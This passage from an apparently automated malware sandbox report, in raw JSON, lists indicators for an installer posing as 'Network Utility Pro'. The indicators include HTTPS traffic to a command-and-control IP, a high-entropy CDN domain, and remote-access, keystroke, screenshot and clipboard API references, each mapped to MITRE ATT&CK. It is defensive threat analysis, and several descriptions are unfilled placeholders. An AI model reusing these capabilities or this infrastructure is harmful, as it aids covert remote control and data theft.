entropy\n Contacted domain: \"testmycdn.azureedge.net\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Imports network management related APIs","description":"Observed import api \"NetUserEnum\" which can \"retrieve information about all user accounts on a server.\" [Source: PCICL32.DLL]","origin":"Static Parser","mitre_attack_id":"T1087.001","relevance":1,"id":"static-85","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Imports windows networking-related APIs","description":"$73","origin":"Static Parser","mitre_attack_id":"T1135","relevance":1,"id":"static-86","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Possibly tries to communicate over SSL connection (HTTPS)","description":"Found HTTPS url \"https://jrsoftware.org\"","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-98","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS POST request to https://151.236.16.15http://151.236.16.15/fakeurl.htm","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"151.236.16.15\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"is-QB4I9.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - Embedded PDF document","description":"YARA signature for embedded PDF matched on file \"is-ICQ8B.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":1,"id":"yara-33","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PE executable embedded in .rsrc section","description":"YARA signature for embedded PE executable in .rsrc section matched on file \"is-E4H59.tmp\"\n YARA signature for embedded PE executable in .rsrc section matched on file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":5,"id":"yara-26","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00007184\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in file \"is-E4H59.tmp\"\n YARA signature matched on embedded PE in file \"PCICL32.DLL\"\n YARA signature matched on embedded PE in file \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to create/switch the desktop (API string)","description":"Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"*SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"SwitchDesktop\" (Indicator: \"SwitchDesktop\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"CreateDesktopA\" (Indicator: \"CreateDesktop\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","relevance":1,"id":"string-541","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070","relevance":1,"id":"string-553","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Remote Access Related","name":"Able to access a remote server session","description":"Found string \"tscon %d /V /DEST:console\" (Indicator: \"tscon \"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1563.002","relevance":1,"id":"string-785","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote session information (API string)","description":"Found reference to API \"WTSQuerySessionInformationA\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"WTSQueryUserToken\" (Indicator: \"WTSQueryUserToken\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"Warning. WTSQuerySessionInformation(%d) failed - not launching client, e=%d\" (Indicator: \"WTSQuerySessionInformation\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1018","relevance":1,"id":"string-546","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"B+ncalrpc:[OLE54C4D7A4F04DA64CF3ABBE6E5374]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00001628.00000000.105989.02CC0000.00000004.mdmp, 00000000-00001628.00000001.107910.02CC0000.00000004.mdmp, 00000000-00001628.00000002.109828.02CC0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"file/memory contains long string with (Indicator: \"getlogicaldrivestringsw\"; File: \"is-USEBL.tmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"$74","origin":"API Call","mitre_attack_id":"T1113","relevance":3,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$75","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"client32.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetComputerNameW\" (UID: 00000000-00005220)\n \"powershell.exe\" called \"GetComputerNameW\" (UID: 00000000-00007184)\n \"client32.exe\" called \"GetComputerNameA\" (UID: 00000000-00001628)\n \"client32.exe\" called \"GetComputerNameW\" (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp\" called \"GetUserNameW\" (UID: 00000000-00005220)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00007184)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"client32.exe\" called \"GetUserNameA\" (UID: 00000000-00001628)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$76","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to access clipboard data (API string)","description":"$77","origin":"File/Memory","mitre_attack_id":"T1115","relevance":1,"id":"string-188","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$78","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to detect sandbox (imports API)","description":"Found GetCursorPos() in an import section (Source: PCICL32.DLL)\n Found GetCursorPos() in an import section (Source: is-E4H59.tmp)\n Found GetCursorPos() in an import section (Source: a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.tmp)\n Found GetCursorPos() in an import section (Source: is-44761.tmp)","origin":"Static Parser","mitre_attack_id":"T1497","relevance":1,"id":"static-132","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to determine disk drive type (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetDriveTypeA\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")\n Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-80","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"$79","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate logon sessions (API string)","description":"Found reference to API \"WTSEnumerateSessionsA\" (Indicator: \"WTSEnumerateSessions\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1049","relevance":1,"id":"string-117","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$7a","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate system network resources (API string)","description":"Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"WNetOpenEnumW\" (Indicator: \"WNetOpenEnum\"; Source: \"00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1135","relevance":1,"id":"string-313","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to find logical drives of the machine (API string)","description":"Found reference to API \"GetLogicalDrives\" (Indicator: \"GetLogicalDrives\"; Source: \"00000000-00001628.00000001.107910.6DE21000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-84","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query network adapter information (API string)","description":"Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"pGetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"GetAdaptersInfo\" (Indicator: \"GetAdaptersInfo\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")\n Found reference to API \"GetAdaptersAddresses\" (Indicator: \"GetAdaptersAddresses\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-118","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$7b","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to register/read input devices (API string)","description":"Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"keybd_event\" (Indicator: \"keybd_event\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"mouse_event\" (Indicator: \"mouse_event\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1056","relevance":1,"id":"string-403","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$7c","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp, 00000000-00001628.00000001.107910.6DE21000.00000020.mdmp, 00000000-00001628.00000001.107910.71910000.00000002.mdmp, 00000000-00001628.00000002.109828.6E005000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$7d","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve files based on search patterns","description":"Found string \"Where should Network Utility Pro be installed?\" (Indicator: \"where \"; Source: \"00000000-00005220-00000455-15214384684\")\n Found string \"Where should Setup place the program's shortcuts?\" (Indicator: \"where \"; Source: \"00000000-00005220-00000455-31779072628\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-484","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about MS-DOS device names (API string)","description":"Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"QueryDosDeviceA\" (Indicator: \"QueryDosDevice\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-227","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"$7e","origin":"File/Memory","mitre_attack_id":"T1056.001","relevance":1,"id":"string-88","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve process ID (API string)","description":"Found reference to API \"GetProcessId\" (Indicator: \"GetProcessId\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-478","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetComputerNameW\" (Indicator: \"GetComputerName\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetComputerNameA\" (Indicator: \"GetComputerName\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"$7f","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host name of a computer (API string)","description":"Found reference to API \"gethostname\" (Indicator: \"gethostname\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"gethostname\" (Indicator: \"gethostname\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-532","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"getsockname\" (Indicator: \"getsockname\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00001628.00000000.105989.1118F000.00000002.mdmp\")\n Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005220.00000000.103022.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.00B4D000.00000004.mdmp, 00000000-00005220.00000001.104944.73167000.00000002.mdmp\")\n Found reference to API \"GetSystemMetricsForDpi\" (Indicator: \"GetSystemMetrics\"; Source: \"00000000-00005220.00000000.103022.00B54000.00000004.mdmp, 00000000-00005220.00000001.104944.00B54000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-131","sources":[{"report_type":"sandbox","report_id":"685ae69ef0d92c28240679f4"},{"report_type":"sandbox","report_id":"699ec5df79a602c04d0f8f22"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"a1720d68eef7dc381a533fd8584a227db3dbcaed16098a0d7f31077f95355e8c.exe\")\n Found reference to API 